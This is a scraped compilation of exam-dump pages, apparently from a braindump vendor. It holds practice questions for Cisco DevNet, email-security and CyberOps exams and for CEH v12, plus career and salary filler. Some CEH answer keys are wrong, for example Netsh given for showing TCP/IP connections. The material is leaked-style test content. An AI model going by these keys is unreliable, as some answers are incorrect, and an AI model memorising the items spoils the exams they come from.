security-api-best-practices+andcd=4andhl=enandct=clnkandgl=pkandclient=firefox-b-d

QUESTION 13:

When a Cisco IOS XE networking device is configured by using RESTCONF, what is the default data encoding method?

A. application/yaml-data+json

B. application/yang-data+json

C. application/xml-data+json

D. application/json-data+xml

Correct Answer: B

RESTCONF is an HTTP-based protocol that uses the REST architectural style to enable the manipulation of data on a network device. It is designed to work with data models defined using the YANG data modeling language, and the default data encoding method for RESTCONF is application/yang-data+json.

…

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Salary & jobs

Salary:

On average, professionals holding the Cisco 200-901 certification can expect to earn a competitive salary. According to PayScale, the average annual salary for professionals with the Cisco Certified DevNet Associate certification (which encompasses the 200-901 exam) ranges from approximately $60,000 to $120,000. However, these figures are approximate and can differ based on individual circumstances.

Factors such as years of experience, job responsibilities, geographic location, and the demand for network automation and software development skills in the specific job market can significantly impact salary ranges. It is advisable to research industry-specific salary data and consult job market trends to gain a better understanding of the potential earning potential associated with the Cisco 200-901 certification in your particular area of interest or expertise.

Jobs:

Here are some examples of jobs that certification can qualify you for:

Network Automation Engineer: With the Cisco 200-901 certification, you can pursue a career as a network automation engineer. In this role, you will focus on automating network tasks, developing scripts and tools, and implementing software-defined networking (SDN) solutions.

Software Developer: The certification equips you with software development skills, making you eligible for software developer roles. You can work on developing applications, APIs, and software solutions that integrate with network infrastructure.

Network Architect: As a Cisco 200-901 certified professional, you can qualify for network architect positions. In this role, you will design and plan network infrastructures, ensuring they align with business requirements and incorporate automation and programmability.

DevOps Engineer: The certification prepares you for roles as a DevOps engineer. DevOps engineers focus on streamlining software development and deployment processes, utilizing automation tools, and integrating development and operations practices.

Network Administrator: The Cisco 200-901 certification provides a strong foundation in network fundamentals, making you eligible for network administrator roles. In this position, you will be responsible for managing and maintaining network infrastructure, ensuring its efficient and secure operation.

Network Support Engineer: With the certification, you can pursue roles as a network support engineer. This involves troubleshooting network issues, providing technical support to end users, and ensuring network availability and performance.

Technical Consultant: The Cisco 200-901 certification qualifies you for technical consultant roles. As a technical consultant, you will provide expertise and guidance to clients or internal teams on implementing network automation, programmability, and software development best practices.

These are just a few examples of the job roles that the Cisco 200-901 certification can qualify you for. The certification prepares you to work at the intersection of networking and software development, enabling you to contribute to network automation, infrastructure programmability, and modern network architectures.

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From	Number of exam questions	Exam name	Exam code	Last updated
leads4pass	15	Certified Ethical Hacker Exam (CEHv12)	312-50v12	312-50v12 dumps

Question 1:

BitLocker encryption has been implemented for all Windows-based computers in an organization. You are concerned that someone might lose their cryptographic key. Therefore, a mechanism was implemented to recover the keys from Active Directory. What is this mechanism called in cryptography?

A. Key Archival

B. Key escrow.

C. Certificate rollover

D. Key renewal

Correct Answer: B

Question 2:

An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events does not match up.

What is the most likely cause?

A. The network devices are not all synchronized.

B. Proper chain of custody was not observed while collecting the logs.

C. The attacker altered or erased events from the logs.

D. The security breach was a false positive.

Correct Answer: A

Many network and system administrators don’t pay enough attention to system clock accuracy and time synchronization. Computer clocks can run faster or slower over time, batteries and power sources die, or daylight-saving time changes are forgotten. Sure, there are many more pressing security issues to deal with, but not ensuring that the time on network devices is synchronized can cause problems. And these problems often only come to light after a security incident. If you suspect a hacker is accessing your network, for example, you will want to analyze your log files to look for any suspicious activity. If your network\’s security devices do not have synchronized times, the timestamps\’ inaccuracy makes it impossible to correlate log files from different sources. Not only will you have difficulty in tracking events, but you will also find it difficult to use such evidence in court; you won’t be able to illustrate a smooth progression of events as they occurred throughout your network.

Question 3:

Which of the following is the primary objective of a rootkit?

A. It opens a port to provide an unauthorized service

B. It creates a buffer overflow

C. It replaces legitimate programs

D. It provides an undocumented opening in a program

Correct Answer: C

Question 4:

What is one of the advantages of using both symmetric and asymmetric cryptography in SSL/TLS?

A. Supporting both types of algorithms allows less-powerful devices such as mobile phones to use symmetric encryption instead.

B. Symmetric algorithms such as AES provide a failsafe when asymmetric methods fail.

C. Symmetric encryption allows the server to securely transmit the session keys out-of-band.

D. Asymmetric cryptography is computationally expensive in comparison. However, it is well-suited to securely negotiate keys for use with symmetric cryptography.

Correct Answer: A

Question 5:

Which command can be used to show the current TCP/IP connections?

A. Netsh

B. Netstat

C. Net use connection

D. Net use

Correct Answer: A

Question 6:

You need to deploy a new web-based software package for your organization. The package requires three separate servers and needs to be available on the Internet. What is the recommended architecture in terms of server placement?

A. All three servers need to be placed internally

B. A web server facing the Internet, an application server on the internal network, a database server on the internal network

C. A web server and the database server facing the Internet, an application server on the internal network

D. All three servers need to face the Internet so that they can communicate with themselves

Correct Answer: B

Question 7:

You are working as a Security Analyst in a company XYZ that owns the whole subnet range of 23.0.0.0/8 and 192.168.0.0/8.

While monitoring the data, you find a high number of outbound connections. You see that IP\’s owned by XYZ (Internal) and private IP\’s are communicating to a Single Public IP. Therefore, the Internal IP\’s are sending data to the Public IP.

After further analysis, you find out that this Public IP is a blacklisted IP, and the internal communicating devices are compromised.

What kind of attack does the above scenario depict?

A. Botnet Attack

B. Spear Phishing Attack

C. Advanced Persistent Threats

D. Rootkit Attack

Correct Answer: A

Question 8:

Harry. a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target system to establish an outbound connection. What is the APT lifecycle phase that Harry is currently executing?

A. Preparation

B. Cleanup

C. Persistence

D. initial intrusion

Correct Answer: D

After the attacker completes preparations, the subsequent step is an effort to realize an edge within the target\’s environment.

A particularly common entry tactic is the use of spearphishing emails containing an internet link or attachment.

Email links usually cause sites where the target\’s browser and related software are subjected to varied exploit techniques or where the APT actors plan to social engineer information from the victim which will be used later.

If a successful exploit takes place, it installs an initial malware payload on the victim\’s computer. Figure 2 illustrates an example of a spearphishing email that contains an attachment. Attachments are usually executable malware, a zipper or other archive containing malware, or a malicious Office or Adobe PDF (Portable Document Format) document that exploits vulnerabilities within the victim\’s applications to ultimately execute the malware on the victim\’s computer.

Once the user has opened a malicious file using vulnerable software, malware is executing on the target system. These phishing emails are often very convincing and difficult to differentiate from legitimate email messages.

Tactics to extend their believability include modifying legitimate documents from or associated with the organization. Documents are sometimes stolen from the organization or its collaborators during previous exploitation operations.

Actors modify the documents by adding exploits and malicious code then send them to the victims. Phishing emails are commonly sent through previously compromised email servers, email accounts at organizations associated with the target, or public email services.

Emails also can be sent through mail relays with modified email headers to form the messages that appear to possess originated from legitimate sources.

The exploitation of vulnerabilities on public-facing servers is another favorite technique of some APT groups.

Though this will be accomplished using exploits for known vulnerabilities, 0-days are often developed or purchased to be used in intrusions as required

Gaining an edge within the target environment is the primary goal of the initial intrusion.

Once a system is exploited, the attacker usually places malware on the compromised system and uses it as a jump point or proxy for further actions.

Malware placed during the initial intrusion phase is usually an easy downloader, a basic Remote Access Trojan, or an easy shell. Figure 3 illustrates a newly infected system initiating an outbound connection to notify the APT actor that the initial intrusion attempt was successful which it\’s able to accept commands.

Question 9:

What does a firewall check to prevent particular ports and applications from getting packets into an organization?

A. Transport layer port numbers and application layer headers

B. Presentation layer headers and the session layer port numbers

C. Network layer headers and the session layer port numbers

D. Application layer port numbers and the transport layer headers

Correct Answer: A

Question 10:

Bob is acknowledged as a hacker of repute and is popular among visitors of “underground” sites.

Bob is willing to share his knowledge with those who are willing to learn, and many have expressed their interest in learning from him. However, this knowledge has a risk associated with it, as it can be used for malevolent attacks as well. In this context, what would be the most effective method to bridge the knowledge gap between the “black” hats or crackers and the “white” hats or computer security professionals? (Choose the test answer.)

A. Educate everyone with books, articles, and training on risk analysis, vulnerabilities, and safeguards.

B. Hire more computer security monitoring personnel to monitor computer systems and networks.

C. Make obtaining either a computer security certification or accreditation easier to achieve so more individuals feel that they are a part of something larger than life.

D. Train more National Guard and reservists in the art of computer security to help out in times of emergency or crises.

Correct Answer: A

Question 11:

You are the Network Admin, and you get a complaint that some of the websites are no longer accessible. You try to ping the servers and find them to be reachable. Then you type the IP address and then you try on the browser and find it to

be accessible. But they are not accessible when you try using the URL.

What may be the problem?

A. Traffic is Blocked on UDP Port 53

B. Traffic is Blocked on TCP Port 80

C. Traffic is Blocked on TCP Port 54

D. Traffic is Blocked on UDP Port 80

Correct Answer: A

Most likely have an issue with DNS.

DNS stands for “Domain Name System.” It\’s a system that lets you connect to websites by matching human-readable domain names (like example.com) with the server\’s unique ID where a website is stored.

Think of the DNS system as the internet\’s phonebook. It lists domain names with their corresponding identifiers called IP addresses, instead of listing people\’s names with their phone numbers. When a user enters a domain name like wpbeginner.com on their device, it looks up the IP address and connects them to the physical location where that website is stored.

NOTE: Often DNS lookup information will be cached locally inside the querying computer or remotely in the DNS infrastructure. There are typically 8 steps in a DNS lookup. When DNS information is cached, steps are skipped from the DNS

lookup process, making it quicker. The example below outlines all 8 steps when nothing is cached.

The 8 steps in a DNS lookup:

A user types `example.com\’ into a web browser, and the query travels into the Internet and is received by a DNS recursive resolver;

The resolver then queries a DNS root nameserver;

The root server then responds to the resolver with the address of a Top-Level Domain (TLD) DNS server (such as .com or .net), which stores the information for its domains. When searching for example.com, our request is pointed toward the .com TLD;

The resolver then requests the .com TLD;

The TLD server then responds with the IP address of the domain\’s nameserver, example.com;

Lastly, the recursive resolver sends a query to the domain\’s nameserver;

The IP address for example.com is then returned to the resolver from the nameserver;

The DNS resolver then responds to the web browser with the IP address of the domain requested initially;

Once the 8 steps of the DNS lookup have returned the IP address for example.com, the browser can request the web page:

The browser makes an HTTP request to the IP address;

10.

The server at that IP returns the webpage to be rendered in the browser. NOTE 2: DNS primarily uses the User Datagram Protocol (UDP) on port number 53 to serve requests. And if this port is blocked, then a problem arises already in the first step.

But the ninth step is performed without problems.

Question 12:

This TCP flag instructs the sending system to transmit all buffered data immediately.

A. SYN

B. RST

C. PSH

D. URG

E. FIN

Correct Answer: C

Question 13:

Fred is the network administrator for his company. Fred is testing an internal switch.

From an external IP address, Fred wants to try and trick this switch into thinking it already has established a session with his computer. How can Fred accomplish this?

A. Fred can accomplish this by sending an IP packet with the RST/SIN bit and the source address of his computer.

B. He can send an IP packet with the SYN bit and the source address of his computer.

C. Fred can send an IP packet with the ACK bit set to zero and the source address of the switch.

D. Fred can send an IP packet to the switch with the ACK bit and the source address of his machine.

Correct Answer: D

Question 14:

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon review, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs, what type of malware did the attacker use to bypass the company\’s application whitelisting?

A. Phishing malware

B. Zero-day malware

C. File-less malware

D. Logic bomb malware

Correct Answer: C

https://www.mcafee.com/enterprise/en-us/security-awareness/ransomware/what-is-fileless-malware.html

Question 15:

Elliot is in the process of exploiting a web application that uses SQL as a back-end database. He\’s determined that the application is vulnerable to SQL injection, and has introduced conditional timing delays into injected queries to determine whether they are successful. What type of SQL injection is Elliot most likely performing?

A. Error-based SQL injection

B. Blind SQL injection

C. Union-based SQL injection

D. NoSQL injection

Correct Answer: B

…

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Type	Number of exam questions	Exam name	Exam code	Verify answer
Free	15	Developing Applications Using Cisco Core Platforms and APIs (DEVCOR)	350-901	View

Question 1:

Which transport layer protocol does gRPC use to retrieve telemetry information?

A. SSH

B. SNMP

C. TCP

D. HTTP/2

Question 2:

DRAG DROP

Click on the resource tab in the top left comer to view resources to help with this question.

An engineer is managing a data center with 6000 Cisco UCS servers installed and running The engineer is asked to identify all resources where the model is in the UCSB family and the available memory is less than or equal to 5 GB Drag

and drop the code from the bottom onto the blanks in the code snippet to construct a REST API call to accomplish this task. Not all options are used.

Select and Place:

Correct Answer:

Question 3:

Refer to the exhibits. An interface named “GigabitEthernet2” has been configured on a Cisco IOS XE device. Using RESTCONF APIs as defined by the ietf-interfaces@2014-05- 08. yang model, two combinations of “rest_operation” and “payload” must be added to the Python script to set the “description” to “Configured by RESTCONF”? (Choose two.)

A. Option A

B. Option B

C. Option C

D. Option D

E. Option E

Question 4:

Refer to the exhibits which show the documentation associated with the create port object API call in Cisco Firepower Threat Defense, and a cURL command. Which data payload completes the cURL command to run the API call?

A. B. C. D.

Reference : https://developer.cisco.com/site/ftd-api- reference/#!editicmpv4portobject/path-parameters

Question 5:

Which two types of storage are supported for app hosting on a Cisco Catalyst 9000 Series Switch? (Choose two.)

A. external USB storage

B. internal SSD

C. CD-ROM

D. SD-card

E. bootflash

Question 6:

DRAG DROP

Refer to the exhibit.

Drag and drop the code from the bottom onto the box where the code is missing to complete the API request. An engineer is using this API request to implement Chat-Ops to generate notifications m a Webex space by using webhooks. Not all options are used.

Select and Place:

Correct Answer:

Question 7:

A team of developers created their own CA and started signing certificates for all of their loT devices. Which action will make the browser accept these certificates?

A. Set the private keys to 1024-bit RSA.

B. Preload the developer CA on the trusted CA list of the browser.

C. Enable HTTPS or port 443 on the browser.

D. install a TLS instead of an SSL certificate on the loT devices.

Question 8:

A developer is working on an enhancement for an application feature and has made changes to a branch called `decor-432436127a-enhance4`. When merging the branch to production, conflicts occurred. Which Git command must the developer use to recreate the pre-merge state?

A. git merge -no-edit

B. git merge -abort

C. git merge -revert

D. git merge –commit

Explanation: This command will recreate the pre-merge state, reverting any changes made to the branch before the merge.

Question 9:

What is the benefit of continuous testing?

A. decreases the frequency of code check-ins

B. removes the requirement for test environments

C. enables parallel testing

D. increases the number of bugs found in production

Question 10:

An enterprise refactors its monolithic application into a modem cloud-native application that is based on microservices. A key requirement of the application design is to ensure that the IT team is aware of performance issues or bottlenecks in

the new application.

Which two approaches must be part of the design considerations\’\’ (Choose two.)

A. Periodically scale up the resources of the host machines when the application starts to experience high loads

B. Instrument the application code to gather telemetry data from logs, metrics or tracing

C. Adopt a service-oriented architecture to handle communication between the services that make up the application

D. Deploy infrastructure monitoring agents into the operating system of the host machines

E. Implement infrastructure monitoring to ensure that pipeline components interoperate smoothly and reliably

Question 11:

Users report that they are no longer able to process transactions with the online ordering application, and the logging dashboard is displaying these messages: Fri Jan 10 19:37:31.123 ESI 2020 [FRONTEND] [NFO: Incoming request to add the item to cart from user 45834534858 Fri Jan 10 19:37:31.247 EST 2020 [BACKEND] INFO: Attempting to add the item to cart Fri Jan 10 19:37:31.250 EST 2020 [BACKEND] ERROR: Failed to add an item: MYSQLDB ERROR: Connection refused What is causing the problem seen in these log messages?

A. The database server container has crashed.

B. The backend process is overwhelmed with too many transactions.

C. The backend is not authorized to commit to the database.

D. The user is not authorized to add the item to their cart.

Question 12:

DRAG DROP

Drag and drop the code from the bottom onto the box where the code is missing to stop the REST API requests if a \’Too Many Requests” response is received. Not all options are used.

Select and Place:

Correct Answer:

Question 13:

Which two methods are API security best practices? (Choose two.)

A. Use tokens after the identity of a client has been established.

B. Use the same operating system throughout the infrastructure.

C. Use encryption and signatures to secure data.

D. Use basic auth credentials for overall internal API interactions.

E. Use cloud hosting services to manage security configuration.

Question 14:

Where must the data be encrypted to ensure end-to-end encryption when using an API?

A. on the device that consumes the API

B. on the source device before transmission

C. on the end device after a request is received

D. on the server that stores the data

Question 15:

Refer to the exhibit.

An Intersight API is being used to query RackUnit resources that have a tag keyword set to “Site”. What is the expected output of this command?

A. list of all resources that have a tag with the keyword “Site”

B. error message because the Value field was not specified

C. error message because the tag filter should be lowercase

D. a list of all sites that contain RackUnit tagged compute resources

Verify answer:

Number:

Q10

Q11

Q12

Q13

Q14

Q15

Answers:

IMAGE

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The Cisco 300-720 exam, also known as the Securing Email with Cisco Email Security Appliance (SESA) exam, is a certification exam that tests your knowledge and skills in securing email communication with the use of the Cisco Email Security Appliance.

The exam consists of 60-70 questions and lasts for 90 minutes.
The questions are presented in various formats, including multiple-choice, drag-and-drop, and simulation questions. The exam is available in English and Japanese.

The topics covered in the exam include:

1. Secure Email Gateway Architecture and Features

2. Cisco Email Security Appliance Installation and Configuration

3. Message Filtering

4. Email Encryption

5. System Administration and Troubleshooting

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Type	Number of exam questions	Exam Code	Exam Name	Last Updated	Exam Answers
Free	15	300-720	Securing Email with Cisco Email Security Appliance (SESA)	300-720 dumps	View

Question 1:

Which suboption must be selected when LDAP is configured for Spam Quarantine End-User Authentication?

A. Designate as the active query

B. Update Frequency

C. Server Priority

D. Entity ID

Reference: https://www.cisco.com/c/en/us/td/docs/security/security_management/sma/sma11-5/user_guide/b_SMA_Admin_Guide_11_5/b_SMA_Admin_Guide_11_5_chapter_01010.html

Question 2:

What are the two phases of the Cisco ESA email pipeline? (Choose two.)

A. reject

B. work queue

C. action

D. delivery

E. quarantine

Reference: https://www.cisco.com/c/en/us/td/docs/security/esa/esa12-1/user_guide/b_ESA_Admin_Guide_12_1/b_ESA_Admin_Guide_12_1_chapter_011.pdf (p.1)

Question 3:

A Cisco ESA administrator has several mail policies configured. While testing policy matches using a specific sender, the email was not matching the expected policy. What is the reason for this?

A. The “From” header is checked against all policies in a top-down fashion.

B. The message header with the highest priority is checked against each policy in a top-down fashion.

C. The “To” header is checked against all policies in a top-down fashion.

D. The message header with the highest priority is checked against the Default policy in a top-down fashion.

Question 4:

Which action must be taken before a custom quarantine that is being used can be deleted?

A. Delete the quarantine that is assigned to a filter.

B. Delete the quarantine that is not assigned to a filter.

C. Delete only the unused quarantine.

D. Remove the quarantine from the message action of a filter.

Reference: https://www.cisco.com/c/en/us/td/docs/security/esa/esa12-0/user_guide/b_ESA_Admin_Guide_12_0/b_ESA_Admin_Guide_12_0_chapter_011111.html

Question 5:

Which global setting is configured under Cisco ESA Scan Behavior?

A. minimum attachment size to scan

B. attachment scanning timeout

C. actions for unscannable messages due to attachment type

D. minimum depth of attachment recursion to scan

Reference: https://community.cisco.com/t5/email-security/cisco-ironport-esa-security-services-scan-behavior-impact-on-av/td-p/3923243

Question 6:

Which two are configured in the DMARC verification profile? (Choose two.)

A. the name of the verification profile

B. the minimum number of signatures to verify

C. ESA listeners to use the verification profile

D. message action into an incoming or outgoing content filter

E. message action to take when the policy is reject/quarantine

Reference: https://www.cisco.com/c/en/us/td/docs/security/esa/esa12-0/user_guide/b_ESA_Admin_Guide_12_0/b_ESA_Admin_Guide_12_0_chapter_010101.html#task_1231917

Question 7:

A Cisco ESA administrator has noticed that new messages being sent to the Centralized Policy Quarantine are being released after one hour. Previously, they were held for a day before being released. What was configured that caused this to occur?

A. The retention period was changed to one hour.

B. The threshold settings were set to override the clock settings.

C. The retention period was set to default.

D. The threshold settings were set to default.

Question 8:

Which two actions are configured on the Cisco ESA to query LDAP servers? (Choose two.)

A. accept

B. relay

C. delay

D. route

E. reject

Reference: https://www.cisco.com/c/en/us/td/docs/security/esa/esa11-0/user_guide_fs/b_ESA_Admin_Guide_11_0/b_ESA_Admin_Guide_chapter_011010.html

Question 9:

Which two configurations are used on multiple LDAP servers to connect with Cisco ESA? (Choose two.)

A. load balancing

B. SLA monitor

C. active-standby

D. failover

E. active-active

You can enter multiple host names to configure the LDAP servers for failover or load-balancing. Separate multiple entries with commas.

Reference: https://www.cisco.com/c/en/us/td/docs/security/ces/user_guide/sma_user_guide/b_SMA_Admin_Guide_ces_11/b_SMA_Admin_Guide_chapter_01010.html

Question 10:

Which two action types are performed by Cisco ESA message filters? (Choose two.)

A. non-final actions

B. filter actions

C. discard actions

D. final actions

E. quarantine actions

Reference: https://www.cisco.com/c/en/us/td/docs/security/esa/esa11-1/user_guide/b_ESA_Admin_Guide_11_1/b_ESA_Admin_Guide_chapter_01000.html

Question 11:

What is the benefit of implementing URL filtering on the Cisco ESA?

A. removes threats from malicious URLs

B. blacklists spam

C. provides URL reputation protection

D. enhances reputation against malicious URLs

Reference: https://www.cisco.com/c/en/us/support/docs/security/email-security-appliance/118775-technote-esa-00.html

Question 12:

Refer to the exhibit. An engineer is trying to connect to a Cisco ESA using SSH and has been unsuccessful. Upon further inspection, the engineer notices that there is a loss of connectivity to the neighboring switch.

Which connection method should be used to determine the configuration issue?

A. Telnet

B. HTTPS

C. Ethernet

D. serial

Question 13:

Which two statements about configuring message filters within the Cisco ESA are true? (Choose two.)

A. The filters command executed from the CLI is used to configure the message filters.

B. Message filter configuration within the web user interface is located within Incoming Content Filters.

C. The filter config command executed from the CLI is used to configure message filters.

D. Message filters can be configured only from the CLI.

E. Message filters can be configured only from the web user interface.

Reference: https://www.cisco.com/c/en/us/support/docs/security/email-security-appliance/213940-esa-using-a-message-filter-to-take-act.html

Question 14:

Which two factors must be considered when message filter processing is configured? (Choose two.)

A. message-filter order

B. lateral processing

C. structure of the combined packet

D. mail policies

E. MIME structure of the message

Reference: https://www.cisco.com/c/en/us/td/docs/security/esa/esa12-0/user_guide/b_ESA_Admin_Guide_12_0/b_ESA_Admin_Guide_chapter_01000.html

Question 15:

What occurs when configuring separate incoming mail policies?

A. message splintering

B. message exceptions

C. message detachment

D. message aggregation

…

View answer:

Questions

Q10

Q11

Q12

Q13

Q14

Q15

Answers

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Cisco 300-720 SESA (Securing Email with Cisco Email Security Appliance) certification is designed for professionals who want to specialize in email security.

It validates the knowledge and skills required to configure, manage, and troubleshoot Cisco Email Security Appliances, as well as to implement email security solutions.

The value of Cisco 300-720 SESA certification is that it provides the following benefits:

1. Expertise in Email Security: This certification demonstrates that you have expertise in email security, including threat protection, email encryption, and email filtering. It also validates your ability to configure, manage, and troubleshoot Cisco Email Security Appliances.

2. Career Opportunities: This certification enhances your career opportunities by validating your expertise in email security. It can open up new job opportunities and increase your earning potential.

3. Recognition: Cisco is a well-known and respected brand in the IT industry, and earning a Cisco certification demonstrates your commitment to your profession and your dedication to staying up-to-date with the latest technologies and best practices.

4. Competitive Advantage: Cisco 300-720 SESA certification provides a competitive advantage over non-certified professionals. It demonstrates your commitment to your profession and your willingness to invest in your career development.

5. Professional Growth: This certification also provides opportunities for professional growth by providing access to training, resources, and networking opportunities with other Cisco-certified professionals.

In summary, Cisco 300-720 SESA certification validates your expertise in email security, enhances your career opportunities, provides recognition and competitive advantage, and supports your professional growth.

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CyberOps Professional 350-201 Exam Experience Sharing

The most valuable experience provided by multiple successful CyberOps Professional 350-201 certification exam candidates, sharing how to successfully pass this exam.

This article uses ChatGPT to answer all the questions that CyberOps Professional 350-201 Certification candidates care about. It is really smart and helps us save more time and provide the most accurate and effective answers. And the latest useful ones provided by leads4pass certification exam questions and answers,Really help the follow-up people to pass the exam successfully.

Is the CyberOps Professional 350-201 exam difficult?

The difficulty level of the CyberOps Professional 350-201 exam can vary from person to person and depends on factors such as their prior experience and knowledge in the field, preparation time, and study habits. However, in general, the 350-201 exam is considered to be a challenging certification exam that tests a candidate’s ability to understand and apply complex cybersecurity concepts.

It is recommended to have hands-on experience and a thorough understanding of the exam content and format before taking the exam.

Best Ways to Take the CyberOps Professional 350-201 Certification Exam

To prepare for the CyberOps Professional 350-201 certification exam, here are some best practices:

1. Study the exam objectives and familiarize yourself with the exam format and content.

2. Use Cisco’s official course materials and study resources, such as the “Implementing and Operating Cisco Security Core Technologies (SCOR)” course and the Cisco CyberOps Associate certification exam guide.

3. Practical experience with the relevant technology is essential. Consider setting up a lab environment or using a simulation tool for practice. Welcome to leads4pass 350-201 Dumps: https://www.leads4pass.com/350-201.html which includes PDF study files and VCE practice exam tools to help you study for success with ease.

4. Join study groups or online forums to collaborate with others and discuss questions and best practices.

5. Regularly take practice exams to gauge your understanding of the material and identify areas where you need more study.

6. Stay current with industry developments and updates by regularly reading relevant blogs, whitepapers, and other resources.

Remember, the more you practice, the better prepared you’ll be for the exam. Good luck!

What are the CyberOps Professional 350-201 exam details?

1. The Cisco CyberOps Professional 350-201 certification exam is a 120-minute, 65-75 multiple choice, and simulation-based test.

2. The exam is designed to measure the candidate’s ability to understand, analyze and respond to security threats in a complex network environment.

3. The topics covered in the exam include security concepts, security monitoring, security incidents, analysis, and response procedures.

4. The minimum passing score for the exam is not publicly disclosed by Cisco.

5. The exam is available in English and Japanese languages and can be taken at any Cisco-authorized testing center or online through the Pearson VUE platform.

CyberOps Professional 350-201 Online Practice

Type	Number of exam questions	Exam name	Exam code	Exam answers
Free	15	Performing CyberOps Using Cisco Security Technologies (CBRCOR)	350-201	View

Question 1:

A company\’s web server availability was breached by a DDoS attack and was offline for 3 hours because it was not deemed a critical asset in the incident response playbook. Leadership has requested a risk assessment of the asset. An analyst conducted the risk assessment using the threat sources, events, and vulnerabilities.

Which additional element is needed to calculate the risk?

A. assessment scope

B. event severity and likelihood

C. incident response playbook

D. risk model framework

Question 2:

DRAG DROP

Drag and drop the threat from the left onto the scenario that introduces the threat on the right. Not all options are used.

Select and Place:

Correct Answer:

Question 3:

A Mac laptop user notices that several files have disappeared from their laptop documents folder. While looking for the files, the user notices that the browser history was recently cleared. The user raises a case, and an analyst reviews the network usage and discovers that it is abnormally high.

Which step should be taken to continue the investigation?

A. Run the sudo sys diagnose command

B. Run the sh command

C. Run the w command

D. Run the who command

Reference: https://eclecticlight.co/2016/02/06/the-ultimate-diagnostic-tool-sysdiagnose/

Question 4:

An engineer receives an incident ticket with hundreds of intrusion alerts that require investigation. An analysis of the incident log shows that the alerts are from trusted IP addresses and internal devices. The final incident report stated that these alerts were false positives and that no intrusions were detected.

What action should be taken to harden the network?

A. Move the IPS to after the firewall facing the internal network

B. Move the IPS to before the firewall facing the outside network

C. Configure the proxy service on the IPS

D. Configure reverse port forwarding on the IPS

Question 5:

Refer to the exhibit. Which two steps mitigate attacks on the webserver from the Internet? (Choose two.)

A. Create an ACL on the firewall to allow only TLS 1.3

B. Implement a proxy server in the DMZ network

C. Create an ACL on the firewall to allow only external connections

D. Move the webserver to the internal network

Question 6:

An organization had an incident with the network availability during which devices unexpectedly malfunctioned. An engineer is investigating the incident and found that the memory pool buffer usage reached a peak before the malfunction. Which action should the engineer take to prevent this issue from reoccurring?

A. Disable memory limit.

B. Disable CPU threshold trap toward the SNMP server.

C. Enable memory tracking notifications.

D. Enable memory threshold notifications.

Question 7:

Refer to the exhibit. An engineer is performing static analysis of a file received and reported by a user. Which risk is indicated in this STIX?

A. The file is redirecting users to a website that requests privilege escalations from the user.

B. The file is redirecting users to the website that is downloading ransomware to encrypt files.

C. The file is redirecting users to a website that harvests cookies and stored account information.

D. The file redirects users to a website that is determining users’ geographic location.

Question 8:

An analyst is alerted for a malicious file hash. After analysis, the analyst determined that an internal workstation is communicating over port 80 with an external server and that the file hash is associated with Duqu malware. Which tactics, techniques, and procedures align with this analysis?

A. Command and Control, Application Layer Protocol, Duqu

B. Discovery, Remote Services: SMB/Windows Admin Shares, Duqu

C. Lateral Movement, Remote Services: SMB/Windows Admin Shares, Duqu

D. Discovery, System Network Configuration Discovery, Duqu

Question 9:

An analyst received multiple alerts on the SIEM console of users that are navigating to malicious URLs. The analyst needs to automate the task of receiving alerts and processing the data for further investigations. Three variables are available from the SIEM console to include in an automation script: console_ip, api_token, and reference_set_name. What must be added to this script to receive a successful HTTP response?

#!/usr/bin/pythonimport sysimport requests

A. {1}, {2}

B. {1}, {3}

C. console_ip, api_token

D. console_ip, reference_set_name

Question 10:

A company recently completed an internal audit and discovered that there is CSRF vulnerability in 20 of its hosted applications. Based on the audit, which recommendation should an engineer make for patching?

A. Identify the business applications running on the assets

B. Update software to patch third-party software

C. Validate CSRF by executing exploits within Metasploit

D. Fix applications according to the risk scores

Question 11:

DRAG DROP

Drag and drop the function on the left onto the mechanism on the right.

Select and Place:

Correct Answer:

Question 12:

A security architect is working in a processing center and must implement a DLP solution to detect and prevent any type of copy-and-paste attempts of sensitive data within unapproved applications and removable devices. Which technical architecture must be used?

A. DLP for data in motion

B. DLP for removable data

C. DLP for data in use

D. DLP for data at rest

Reference: https://www.endpointprotector.com/blog/what-is-data-loss-prevention-dlp/

Question 13:

Refer to the exhibit. What results from this script?

A. Seeds for existing domains are checked

B. A search is conducted for additional seeds

C. Domains are compared to seed rules

D. A list of domains as seeds is blocked

Question 14:

What is needed to assess risk mitigation effectiveness in an organization?

A. analysis of key performance indicators

B. compliance with security standards

C. cost-effectiveness of control measures

D. an updated list of vulnerable systems

Question 15:

Patient views information that is not theirs when they sign in to the hospital\’s online portal. The patient calls the support center at the hospital but continues to be put on hold because other patients are experiencing the same issue. An incident has been declared, and an engineer is now on the incident bridge as the CyberOps Tier 3 Analyst. There is a concern about the disclosure of PII occurring in real time.

What is the first step the analyst should take to address this incident?

A. Evaluate visibility tools to determine if external access resulted in tampering

B. Contact the third-party handling provider to respond to the incident as critical

C. Turn off all access to the patient portal to secure patient records

D. Review system and application logs to identify errors in the postal code

…

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CyberOps Professional 350-201 exam answers

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Is the CyberOps Professional 350-201 certification exam worth it?

The value of a certification exam such as the CyberOps Professional 350-201 depends on individual goals and career aspirations.

In general, certifications can demonstrate a level of knowledge and skills in a specific area, which can be attractive to potential employers. They can also provide opportunities for professional growth and can increase earning potential.

However, the value of a certification is subjective and varies based on individual circumstances and the current job market demand for the skills and knowledge tested in the exam. It’s important to weigh the cost and time investment of obtaining certification against its potential benefits.

Rewards for successfully passing the CyberOps Professional 350-201 certification exam

Upon successful completion of the Cisco 350-201 CyberOps Professional certification exam, the following rewards are typically achieved:

1. Recognition of expertise in cybersecurity operations and threat detection.

2. Improved job prospects and higher earning potential in the cybersecurity field.

3. Validation of skills and knowledge in cybersecurity operations and analysis.

4. Access to a network of professionals in the cybersecurity industry.

5. Increased credibility and confidence in performing cybersecurity operations.

6. Opportunities for advancement and leadership in the cybersecurity field.

7. Possibility of increased responsibilities and opportunities for professional growth.

February 14, 2023 by admin 350-201 350-201 Certification Exam 350-201 Certification Exam 2023 350-201 dumps 350-201 dumps 2023 350-201 exam 350-201 exam dumps 350-201 exam questions 350-201 exam questions 2023 350-201 practice test Cisco CyberOps Professional